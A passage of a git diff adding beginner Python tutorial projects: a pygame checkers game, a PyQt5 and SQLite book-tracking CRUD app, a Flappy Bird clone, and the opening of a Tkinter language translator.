clicked_tile.occupying_piece + + def draw(self, display): + if self.selected_piece is not None: + self.get_tile_from_pos(self.selected_piece.pos).highlight = True + if not self.is_jump: + for tile in self.selected_piece.valid_moves(): + tile.highlight = True + else: + for tile in self.selected_piece.valid_jumps(): + tile[0].highlight = True + + for tile in self.tile_list: + tile.draw(display) \ No newline at end of file diff --git a/gui-programming/checkers-game/Game.py b/gui-programming/checkers-game/Game.py new file mode 100644 index 00000000..39a8bede --- /dev/null +++ b/gui-programming/checkers-game/Game.py @@ -0,0 +1,44 @@ +class Game: + + def __init__(self): + self.winner = None + + # checks if both colors still has a piece + def check_piece(self, board): + red_piece = 0 + black_piece = 0 + for y in range(board.board_size): + for x in range(board.board_size): + tile = board.get_tile_from_pos((x, y)) + if tile.occupying_piece != None: + if tile.occupying_piece.color == "red": + red_piece += 1 + else: + black_piece += 1 + return red_piece, black_piece + + def is_game_over(self, board): + red_piece, black_piece = self.check_piece(board) + if red_piece == 0 or black_piece == 0: + self.winner = "red" if red_piece > black_piece else "black" + return True + else: + return False + + def check_jump(self, board): + piece = None + for tile in board.tile_list: + if tile.occupying_piece != None: + piece = tile.occupying_piece + if len(piece.valid_jumps()) != 0 and board.turn == piece.color: + board.is_jump = True + break + else: + board.is_jump = False + if board.is_jump: + board.selected_piece = piece + board.handle_click(piece.pos) + return board.is_jump + + def message(self): + print(f"{self.winner} Wins!!") \ No newline at end of file diff --git a/gui-programming/checkers-game/King.py b/gui-programming/checkers-game/King.py new file mode 100644 index 00000000..ef7bb7bf --- /dev/null +++ b/gui-programming/checkers-game/King.py @@ -0,0 +1,47 @@ +import pygame +from Piece import Piece + +class King(Piece): + def __init__(self, x, y, color, board): + super().__init__(x, y, color, board) + img_path = f'images/{color}-king.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height)) + self.notation = 'k' + + def _possible_moves(self): + possible_moves = ((-1, -1), (+1, -1), (-1, +1), (+1, +1)) + return possible_moves + + def valid_moves(self): + tile_moves = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if tile.occupying_piece == None: + tile_moves.append(tile) + return tile_moves + + def valid_jumps(self): + tile_jumps = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if self.board.turn == self.color: + if tile.occupying_piece != None and tile.occupying_piece.color != self.color: + next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1]) + next_tile = self.board.get_tile_from_pos(next_pos) + if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7: + pass + else: + if next_tile.occupying_piece == None: + tile_jumps.append((next_tile, tile)) + return tile_jumps \ No newline at end of file diff --git a/gui-programming/checkers-game/Main.py b/gui-programming/checkers-game/Main.py new file mode 100644 index 00000000..dc7d9ac6 --- /dev/null +++ b/gui-programming/checkers-game/Main.py @@ -0,0 +1,46 @@ +import pygame +from Board import Board +from Game import Game + +pygame.init() + +class Checkers: + def __init__(self, screen): + self.screen = screen + self.running = True + self.FPS = pygame.time.Clock() + + def _draw(self, board): + board.draw(self.screen) + pygame.display.update() + + def main(self, window_width, window_height): + board_size = 8 + tile_width, tile_height = window_width // board_size, window_height // board_size + board = Board(tile_width, tile_height, board_size) + game = Game() + while self.running: + game.check_jump(board) + + for self.event in pygame.event.get(): + if self.event.type == pygame.QUIT: + self.running = False + + if not game.is_game_over(board): + if self.event.type == pygame.MOUSEBUTTONDOWN: + board.handle_click(self.event.pos) + else: + game.message() + self.running = False + + self._draw(board) + self.FPS.tick(60) + + +if __name__ == "__main__": + window_size = (640, 640) + screen = pygame.display.set_mode(window_size) + pygame.display.set_caption("Checkers") + + checkers = Checkers(screen) + checkers.main(window_size[0], window_size[1]) \ No newline at end of file diff --git a/gui-programming/checkers-game/Pawn.py b/gui-programming/checkers-game/Pawn.py new file mode 100644 index 00000000..3550c00c --- /dev/null +++ b/gui-programming/checkers-game/Pawn.py @@ -0,0 +1,51 @@ +import pygame +from Piece import Piece + +class Pawn(Piece): + def __init__(self, x, y, color, board): + super().__init__(x, y, color, board) + img_path = f'images/{color}-pawn.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height)) + self.notation = 'p' + + def _possible_moves(self): + # (x, y) move for left and right + if self.color == "red": + possible_moves = ((-1, -1), (+1, -1)) + else: + possible_moves = ((-1, +1), (+1, +1)) + return possible_moves + + def valid_moves(self): + tile_moves = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if tile.occupying_piece == None: + tile_moves.append(tile) + return tile_moves + + def valid_jumps(self): + tile_jumps = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if self.board.turn == self.color: + if tile.occupying_piece != None and tile.occupying_piece.color != self.color: + next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1]) + next_tile = self.board.get_tile_from_pos(next_pos) + if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7: + pass + else: + if next_tile.occupying_piece == None: + tile_jumps.append((next_tile, tile)) + return tile_jumps \ No newline at end of file diff --git a/gui-programming/checkers-game/Piece.py b/gui-programming/checkers-game/Piece.py new file mode 100644 index 00000000..3c82a326 --- /dev/null +++ b/gui-programming/checkers-game/Piece.py @@ -0,0 +1,56 @@ +import pygame + +class Piece: + def __init__(self, x, y, color, board): + self.x = x + self.y = y + self.pos = (x, y) + self.board = board + self.color = color + + def _move(self, tile): + for i in self.board.tile_list: + i.highlight = False + + if tile in self.valid_moves() and not self.board.is_jump: + prev_tile = self.board.get_tile_from_pos(self.pos) + self.pos, self.x, self.y = tile.pos, tile.x, tile.y + + prev_tile.occupying_piece = None + tile.occupying_piece = self + self.board.selected_piece = None + self.has_moved = True + + # Pawn promotion + if self.notation == 'p': + if self.y == 0 or self.y == 7: + from King import King + tile.occupying_piece = King( + self.x, self.y, self.color, self.board + ) + return True + + elif self.board.is_jump: + for move in self.valid_jumps(): + if tile in move: + prev_tile = self.board.get_tile_from_pos(self.pos) + jumped_piece = move[-1] + self.pos, self.x, self.y = tile.pos, tile.x, tile.y + + prev_tile.occupying_piece = None + jumped_piece.occupying_piece = None + tile.occupying_piece = self + self.board.selected_piece = None + self.has_moved = True + + # Pawn promotion + if self.notation == 'p': + if self.y == 0 or self.y == 7: + from King import King + tile.occupying_piece = King( + self.x, self.y, self.color, self.board + ) + return True + else: + self.board.selected_piece = None + return False \ No newline at end of file diff --git a/gui-programming/checkers-game/README.md b/gui-programming/checkers-game/README.md new file mode 100644 index 00000000..c9191191 --- /dev/null +++ b/gui-programming/checkers-game/README.md @@ -0,0 +1,4 @@ +# [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python) +To run this: +- `pip3 install -r requirements.txt` +- `python3 Main.py` \ No newline at end of file diff --git a/gui-programming/checkers-game/Tile.py b/gui-programming/checkers-game/Tile.py new file mode 100644 index 00000000..5e1ad127 --- /dev/null +++ b/gui-programming/checkers-game/Tile.py @@ -0,0 +1,41 @@ +import pygame + +class Tile: + def __init__(self, x, y, tile_width, tile_height): + self.x = x + self.y = y + self.pos = (x, y) + self.tile_width = tile_width + self.tile_height = tile_height + self.abs_x = x * tile_width + self.abs_y = y * tile_height + self.abs_pos = (self.abs_x, self.abs_y) + + self.color = 'light' if (x + y) % 2 == 0 else 'dark' + self.draw_color = (220, 189, 194) if self.color == 'light' else (53, 53, 53) + self.highlight_color = (100, 249, 83) if self.color == 'light' else (0, 228, 10) + + self.occupying_piece = None + self.coord = self.get_coord() + self.highlight = False + self.rect = pygame.Rect( + self.abs_x, + self.abs_y, + self.tile_width, + self.tile_height + ) + + def get_coord(self): + columns = 'abcdefgh' + return columns[self.x] + str(self.y + 1) + + def draw(self, display): + if self.highlight: + pygame.draw.rect(display, self.highlight_color, self.rect) + else: + pygame.draw.rect(display, self.draw_color, self.rect) + + if self.occupying_piece != None: + centering_rect = self.occupying_piece.img.get_rect() + centering_rect.center = self.rect.center + display.blit(self.occupying_piece.img, centering_rect.topleft) \ No newline at end of file diff --git a/gui-programming/checkers-game/images/black-king.png b/gui-programming/checkers-game/images/black-king.png new file mode 100644 index 00000000..b4e8e557 Binary files /dev/null and b/gui-programming/checkers-game/images/black-king.png differ diff --git a/gui-programming/checkers-game/images/black-pawn.png b/gui-programming/checkers-game/images/black-pawn.png new file mode 100644 index 00000000..35992cf2 Binary files /dev/null and b/gui-programming/checkers-game/images/black-pawn.png differ diff --git a/gui-programming/checkers-game/images/red-king.png b/gui-programming/checkers-game/images/red-king.png new file mode 100644 index 00000000..17468138 Binary files /dev/null and b/gui-programming/checkers-game/images/red-king.png differ diff --git a/gui-programming/checkers-game/images/red-pawn.png b/gui-programming/checkers-game/images/red-pawn.png new file mode 100644 index 00000000..7724b8d4 Binary files /dev/null and b/gui-programming/checkers-game/images/red-pawn.png differ diff --git a/gui-programming/checkers-game/requirements.txt b/gui-programming/checkers-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/checkers-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/crud-app-pyqt5/README.md b/gui-programming/crud-app-pyqt5/README.md new file mode 100644 index 00000000..45763138 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/README.md @@ -0,0 +1 @@ +# [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python) \ No newline at end of file diff --git a/gui-programming/crud-app-pyqt5/db.py b/gui-programming/crud-app-pyqt5/db.py new file mode 100644 index 00000000..d00b26d6 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/db.py @@ -0,0 +1,72 @@ +import sqlite3 +import datetime + + +def create_table(): + db = sqlite3.connect('database.db') + query = """ + CREATE TABLE if not exists BOOKS + (ID INTEGER PRIMARY KEY AUTOINCREMENT, + NAME TEXT NOT NULL, + CREATED_AT DATETIME default current_timestamp, + COMPLETED_AT DATATIME + ) + """ + cur = db.cursor() + cur.execute(query) + db.close() + + +create_table() + + +def insert_book(name, completed_at): + db = sqlite3.connect('database.db') + query = """ + INSERT INTO BOOKS(NAME, COMPLETED_AT) + + VALUES (?,?) + """ + + cur = db.cursor() + cur.execute(query, (name, completed_at)) + db.commit() + db.close() + print('completed') + + +def get_all_books(): + db = sqlite3.connect('database.db') + statement = 'SELECT id, name, completed_at FROM BOOKS' + cur = db.cursor() + items_io = cur.execute(statement) + item_lst = [i for i in items_io] + return item_lst + + +# insert_book('Time, fast or slow', datetime.datetime.now()) + +def add_book(self): + title = self.title_input.text() + if title: + cursor.execute("INSERT INTO books (title) VALUES (?)", (title,)) + conn.commit() + self.title_input.clear() + self.load_books() + + +def delete_book(book_id): + # Connect to the SQLite database + db = sqlite3.connect('database.db') + + # Define the SQL query to delete a book with a specific ID + query = "DELETE FROM books WHERE id = ?" + + # Execute the query with the provided book ID as a parameter + db.execute(query, (book_id,)) + + # Commit the changes to the database + db.commit() + + # Close the database connection + db.close() diff --git a/gui-programming/crud-app-pyqt5/main.py b/gui-programming/crud-app-pyqt5/main.py new file mode 100644 index 00000000..277e0159 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/main.py @@ -0,0 +1,128 @@ +from PyQt5.QtWidgets import (QApplication, QMainWindow, QVBoxLayout, QScrollArea, + QLineEdit, QFormLayout, QHBoxLayout, QFrame, QDateEdit, + QPushButton, QLabel, QListWidget, QDialog, QAction, QToolBar) +from PyQt5.QtCore import Qt + +from datetime import datetime +from db import (get_all_books, create_table, insert_book, delete_book) + + +class CreateRecord(QFrame): + def __init__(self, main_window): + super().__init__() + self.main_window = main_window # Pass a reference to the main window + + self.date_entry = QDateEdit() + self.book_name = QLineEdit() + self.book_name.setPlaceholderText('Book name') + self.add_button = QPushButton(text="Add Book") + # Connect the button to add_book function + self.add_button.clicked.connect(self.add_book) + + layout = QVBoxLayout(self) + layout.addWidget(QLabel('Book Name:')) + layout.addWidget(self.book_name) + layout.addWidget(QLabel('Completed Date:')) + layout.addWidget(self.date_entry) + layout.addWidget(self.add_button) + + def add_book(self): + book_name = self.book_name.text() + completed_date = self.date_entry.date().toString("yyyy-MM-dd") + + if book_name: + insert_book(book_name, completed_date) + # Reload the book collection after adding a book + self.main_window.load_collection() + self.book_name.clear() # Clear the input field + + +class BookCard(QFrame): + def __init__(self, book_id, bookname, completed_date): + super().__init__() + self.setStyleSheet( + 'background:white; border-radius:4px; color:black;' + ) + self.setFixedHeight(110) + self.book_id = book_id + layout = QVBoxLayout() + label = QLabel(f'{bookname}') + + # Update the format string here + parsed_datetime = datetime.strptime(completed_date, "%Y-%m-%d") + formatted_datetime = parsed_datetime.strftime("%Y-%m-%d") + + date_completed = QLabel(f"Completed {formatted_datetime}") + delete_button = QPushButton( + text='Delete', clicked=self.delete_book_click) + # delete_button.setFixedWidth(60) + delete_button.setStyleSheet('background:red; padding:4px;') + + layout.addWidget(label) + layout.addWidget(date_completed) + layout.addWidget(delete_button) + layout.addStretch() + self.setLayout(layout) + + def delete_book_click(self): + delete_book(self.book_id) + self.close() + + +class Main(QMainWindow): + def __init__(self): + super().__init__() + self.initUI() + self.load_collection() + + def initUI(self): + self.main_frame = QFrame() + self.main_layout = QVBoxLayout(self.main_frame) + + # add register widget + # Pass a reference to the main window + self.register_widget = CreateRecord(self) + self.main_layout.addWidget(self.register_widget) + + books_label = QLabel('Completed Books') + books_label.setStyleSheet('font-size:18px;') + self.main_layout.addWidget(books_label) + self.book_collection_area() + + self.setCentralWidget(self.main_frame) + + def book_collection_area(self): + scroll_frame = QFrame() + self.book_collection_layout = QVBoxLayout(scroll_frame) + + scroll = QScrollArea() + scroll.setWidgetResizable(True) + scroll.setWidget(scroll_frame) + scroll.setStyleSheet('QScrollArea{border:0px}') + + self.book_collection_layout.addStretch() + self.main_layout.addWidget(scroll) + + def load_collection(self): + # Clear existing book cards before reloading + for i in reversed(range(self.book_collection_layout.count())): + widget = self.book_collection_layout.itemAt(i).widget() + if widget is not None: + widget.deleteLater() + + collections = get_all_books() + for collection in collections: + frame = BookCard(*collection) + self.book_collection_layout.insertWidget(0, frame) + + +def main(): + app = QApplication([]) + app.setStyle('fusion') + win = Main() + win.show() + app.exec_() + + +if __name__ == '__main__': + main() diff --git a/gui-programming/crud-app-pyqt5/requirements.txt b/gui-programming/crud-app-pyqt5/requirements.txt new file mode 100644 index 00000000..300ea5c9 --- /dev/null +++ b/gui-programming/crud-app-pyqt5/requirements.txt @@ -0,0 +1 @@ +pyqt5 diff --git a/gui-programming/flappy-bird-game/README.md b/gui-programming/flappy-bird-game/README.md new file mode 100644 index 00000000..5bcb2419 --- /dev/null +++ b/gui-programming/flappy-bird-game/README.md @@ -0,0 +1 @@ +# [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python) \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/assets/bird/0.png b/gui-programming/flappy-bird-game/assets/bird/0.png new file mode 100644 index 00000000..cc0c1f20 Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/0.png differ diff --git a/gui-programming/flappy-bird-game/assets/bird/1.png b/gui-programming/flappy-bird-game/assets/bird/1.png new file mode 100644 index 00000000..73e9592a Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/1.png differ diff --git a/gui-programming/flappy-bird-game/assets/bird/2.png b/gui-programming/flappy-bird-game/assets/bird/2.png new file mode 100644 index 00000000..d89bb79b Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/2.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/bg.png b/gui-programming/flappy-bird-game/assets/terrain/bg.png new file mode 100644 index 00000000..0c6b138c Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/bg.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/ground.png b/gui-programming/flappy-bird-game/assets/terrain/ground.png new file mode 100644 index 00000000..70105cb5 Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/ground.png differ diff --git a/gui-programming/flappy-bird-game/assets/terrain/pipe.png b/gui-programming/flappy-bird-game/assets/terrain/pipe.png new file mode 100644 index 00000000..03e3e82c Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/pipe.png differ diff --git a/gui-programming/flappy-bird-game/bird.py b/gui-programming/flappy-bird-game/bird.py new file mode 100644 index 00000000..c5ad5e89 --- /dev/null +++ b/gui-programming/flappy-bird-game/bird.py @@ -0,0 +1,42 @@ +import pygame +from settings import import_sprite + +class Bird(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + # bird basic info + self.frame_index = 0 + self.animation_delay = 3 + self.jump_move = -9 + + # bird animation + self.bird_img = import_sprite("assets/bird") + self.image = self.bird_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # bird status + self.direction = pygame.math.Vector2(0, 0) + self.score = 0 + + # for bird's flying animation + def _animate(self): + sprites = self.bird_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # to make the bird fly higher + def _jump(self): + self.direction.y = self.jump_move + + # updates the bird's overall state + def update(self, is_jump): + if is_jump: + self._jump() + self._animate() \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/game.py b/gui-programming/flappy-bird-game/game.py new file mode 100644 index 00000000..d2d7e622 --- /dev/null +++ b/gui-programming/flappy-bird-game/game.py @@ -0,0 +1,25 @@ +import pygame +from settings import WIDTH, HEIGHT + +pygame.font.init() + +class GameIndicator: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + self.inst_color = pygame.Color("black") + + def show_score(self, int_score): + bird_score = str(int_score) + score = self.font.render(bird_score, True, self.color) + self.screen.blit(score, (WIDTH // 2, 50)) + + def instructions(self): + inst_text1 = "Press SPACE button to Jump," + inst_text2 = "Press \"R\" Button to Restart Game." + ins1 = self.inst_font.render(inst_text1, True, self.inst_color) + ins2 = self.inst_font.render(inst_text2, True, self.inst_color) + self.screen.blit(ins1, (95, 400)) + self.screen.blit(ins2, (70, 450)) diff --git a/gui-programming/flappy-bird-game/main.py b/gui-programming/flappy-bird-game/main.py new file mode 100644 index 00000000..61e68c60 --- /dev/null +++ b/gui-programming/flappy-bird-game/main.py @@ -0,0 +1,53 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, ground_space +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + ground_space)) +pygame.display.set_caption("Flappy Bird") + +class Main: + def __init__(self, screen): + self.screen = screen + self.bg_img = pygame.image.load('assets/terrain/bg.png') + self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT)) + self.ground_img = pygame.image.load('assets/terrain/ground.png') + self.ground_scroll = 0 + self.scroll_speed = -6 + self.FPS = pygame.time.Clock() + self.stop_ground_scroll = False + + def main(self): + world = World(screen) + while True: + self.stop_ground_scroll = world.game_over + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if not world.playing and not world.game_over: + world.playing = True + if event.key == pygame.K_SPACE: + world.update("jump") + if event.key == pygame.K_r: + world.update("restart") + + world.update() + + self.screen.blit(self.ground_img, (self.ground_scroll, HEIGHT)) + if not self.stop_ground_scroll: + self.ground_scroll += self.scroll_speed + if abs(self.ground_scroll) > 35: + self.ground_scroll = 0 + + pygame.display.update() + self.FPS.tick(60) + +if __name__ == "__main__": + play = Main(screen) + play.main() diff --git a/gui-programming/flappy-bird-game/pipe.py b/gui-programming/flappy-bird-game/pipe.py new file mode 100644 index 00000000..a66a959b --- /dev/null +++ b/gui-programming/flappy-bird-game/pipe.py @@ -0,0 +1,21 @@ +import pygame + +class Pipe(pygame.sprite.Sprite): + def __init__(self, pos, width, height, flip): + super().__init__() + self.width = width + img_path = 'assets/terrain/pipe.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (width, height)) + if flip: + flipped_image = pygame.transform.flip(self.image, False, True) + self.image = flipped_image + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift + + # removes the pipe in the game screen once it is not shown in the screen anymore + if self.rect.right < (-self.width): + self.kill() \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/requirements.txt b/gui-programming/flappy-bird-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/flappy-bird-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/settings.py b/gui-programming/flappy-bird-game/settings.py new file mode 100644 index 00000000..2c5eb460 --- /dev/null +++ b/gui-programming/flappy-bird-game/settings.py @@ -0,0 +1,26 @@ +from os import walk +import pygame + +WIDTH, HEIGHT = 600, 650 + +pipe_pair_sizes = [ + (1, 7), + (2, 6), + (3, 5), + (4, 4), + (5, 3), + (6, 2), + (7, 1) +] +pipe_size = HEIGHT // 10 +pipe_gap = (pipe_size * 2) + (pipe_size // 2) +ground_space = 50 + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/flappy-bird-game/world.py b/gui-programming/flappy-bird-game/world.py new file mode 100644 index 00000000..36bf131f --- /dev/null +++ b/gui-programming/flappy-bird-game/world.py @@ -0,0 +1,101 @@ +import pygame +from pipe import Pipe +from bird import Bird +from game import GameIndicator +from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes +import random + +class World: + def __init__(self, screen): + self.screen = screen + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.5 + self.current_pipe = None + self.pipes = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self._generate_world() + self.playing = False + self.game_over = False + self.passed = True + self.game = GameIndicator(screen) + + # creates the player and the obstacle + def _generate_world(self): + self._add_pipe() + bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30) + self.player.add(bird) + + # adds pipe once the last pipe added reached the desired pipe horizontal spaces + def _add_pipe(self): + pipe_pair_size = random.choice(pipe_pair_sizes) + top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size + + pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True) + pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False) + self.pipes.add(pipe_top) + self.pipes.add(pipe_bottom) + self.current_pipe = pipe_top + + # for moving background/obstacle + def _scroll_x(self): + if self.playing: + self.world_shift = -6 + else: + self.world_shift = 0 + + # add gravity to bird for falling + def _apply_gravity(self, player): + if self.playing or self.game_over: + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # handles scoring and collision + def _handle_collisions(self): + bird = self.player.sprite + # for collision checking + if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0: + self.playing = False + self.game_over = True + else: + # if player pass through the pipe gaps + bird = self.player.sprite + if bird.rect.x >= self.current_pipe.rect.centerx: + bird.score += 1 + self.passed = True + + # updates the bird's overall state + def update(self, player_event = None): + # new pipe adder + if self.current_pipe.rect.centerx <= (WIDTH // 2) - pipe_size: + self._add_pipe() + + # updates, draws pipes + self.pipes.update(self.world_shift) + self.pipes.draw(self.screen) + + # applying game physics + self._apply_gravity(self.player.sprite) + self._scroll_x() + self._handle_collisions() + + # configuring player actions + if player_event == "jump" and not self.game_over: + player_event = True + elif player_event == "restart": + self.game_over = False + self.pipes.empty() + self.player.empty() + self.player.score = 0 + self._generate_world() + else: + player_event = False + + if not self.playing: + self.game.instructions() + + # updates, draws pipes + self.player.update(player_event) + self.player.draw(self.screen) + + self.game.show_score(self.player.sprite.score) \ No newline at end of file diff --git a/gui-programming/gui-language-translator/README.md b/gui-programming/gui-language-translator/README.md new file mode 100644 index 00000000..19f8235e --- /dev/null +++ b/gui-programming/gui-language-translator/README.md @@ -0,0 +1 @@ +# [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python) \ No newline at end of file diff --git a/gui-programming/gui-language-translator/arrows.png b/gui-programming/gui-language-translator/arrows.png new file mode 100644 index 00000000..5b7a761a Binary files /dev/null and b/gui-programming/gui-language-translator/arrows.png differ diff --git a/gui-programming/gui-language-translator/copy.png b/gui-programming/gui-language-translator/copy.png new file mode 100644 index 00000000..faa7561f Binary files /dev/null and b/gui-programming/gui-language-translator/copy.png differ diff --git a/gui-programming/gui-language-translator/gui-language-translator.py b/gui-programming/gui-language-translator/gui-language-translator.py new file mode 100644 index 00000000..9ba72784 --- /dev/null +++ b/gui-programming/gui-language-translator/gui-language-translator.py @@ -0,0 +1,135 @@ +import ttkbootstrap as ttk +from ttkbootstrap.scrolled import ScrolledText +from ttkbootstrap.toast import ToastNotification +from tkinter.messagebox import showerror +import googletrans +from googletrans import Translator +import pyttsx3 +import pyperclip + +translator = Translator() + +engine = pyttsx3.init() + + +class LanguageTranslator: + def __init__(self, master): + self.master = master + # calling the UI method in the constructor + self.MainWindow() + # calling the Widgets method in the constructor + self.Widgets() + + + def MainWindow(self): + self.master.geometry('600x430+300+150') + self.master.title('Language Translator') + self.master.resizable(width = 0, height = 0) + # setting the icon for the application + icon = ttk.PhotoImage(file='icon.png') + self.master.iconphoto(False, icon) + + + def Widgets(self): + # the canvas for containing the other widgets + self.canvas = ttk.Canvas(self.master, width = 600, height = 400) + self.canvas.pack() + # the logo for the application + self.logo = ttk.PhotoImage(file='logo.png').subsample(5, 5) + self.canvas.create_image(75, 70, image = self.logo) + # getting all the languages + language_data = googletrans.LANGUAGES + # getting all the language values using the values() function + language_values = language_data.values() + # converting the languages to a list + languages = list(language_values) + # first combobox for the source language + self.from_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages) + self.from_language.current(0) + self.canvas.create_window(150, 140, window = self.from_language) + # loading the arrow icon + self.arrow_icon = ttk.PhotoImage(file='arrows.png') + self.resized_icon = self.arrow_icon.subsample(15, 15) + self.image_label = ttk.Label(self.master, image = self.resized_icon) + self.canvas.create_window(300, 140, window = self.image_label) + # the second combobox for the destination language + self.to_language = ttk.Combobox(self.canvas, width = 36, bootstyle = 'primary', values = languages) + self.to_language.current(21) + self.canvas.create_window(450, 140, window = self.to_language) + # scrollable text for entering input + self.from_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10) + self.canvas.create_window(150, 250, window = self.from_text) + # scrollable text for output + self.to_text = ScrolledText(self.master, font=("Dotum", 10), width = 30, height = 10) + self.canvas.create_window(450, 250, window = self.to_text) + # loading icons + self.speaker_icon = ttk.PhotoImage(file = 'speaker.png').subsample(5, 4) + self.copy_icon = ttk.PhotoImage(file = 'copy.png').subsample(5, 4) + self.speak_button = ttk.Button(self.master, image = self.speaker_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.speak) + self.canvas.create_window(355, 355, window = self.speak_button) + self.copy_button = ttk.Button(self.master, image = self.copy_icon, bootstyle='secondary', state=ttk.DISABLED, command = self.copy_to_clipboard) + self.canvas.create_window(395, 355, window = self.copy_button) + self.translate_button = ttk.Button(self.master, text = 'Translate', width = 20, bootstyle = 'primary', command = self.translate) + self.canvas.create_window(300, 400, window = self.translate_button) + + def translate(self): + try: + # getting source language from first combobox via get() + self.source_language = self.from_language.get() + # getting destination language from first combobox via get() + self.destination_language = self.to_language.get() + # getting every content fronm the first scrolledtext + self.text = self.from_text.get(1.0, ttk.END) + # translating the language + self.translation = translator.translate(self.text, src=self.source_language, dest=self.destination_language) + # clearing the second scrolledtext + self.to_text.delete(1.0, ttk.END) + # inserting translation output in the second scroledtext + self.to_text.insert(ttk.END, self.translation.text) + # activating the speak_button + self.speak_button.configure(state = ttk.ACTIVE) + # activating the copy_button + self.copy_button.configure(state = ttk.ACTIVE) + # handle TypeError using except + except TypeError as e: + showerror(title='Invalid Input', message='Make sure you have entered valid input!') + # handle connection errors + except Exception as e: + showerror(title='Connection Error', message='Make sure you have internet connection!') + + def speak(self): + # getting every content from the second scrolledtext + self.text = self.to_text.get(1.0, ttk.END) + # gets the speaking rate + rate = engine.getProperty('rate') + # setting the speaking rate + engine.setProperty('rate', 125) + # getting the available voices + voices = engine.getProperty('voices') + # setting the second voice, the female voice + 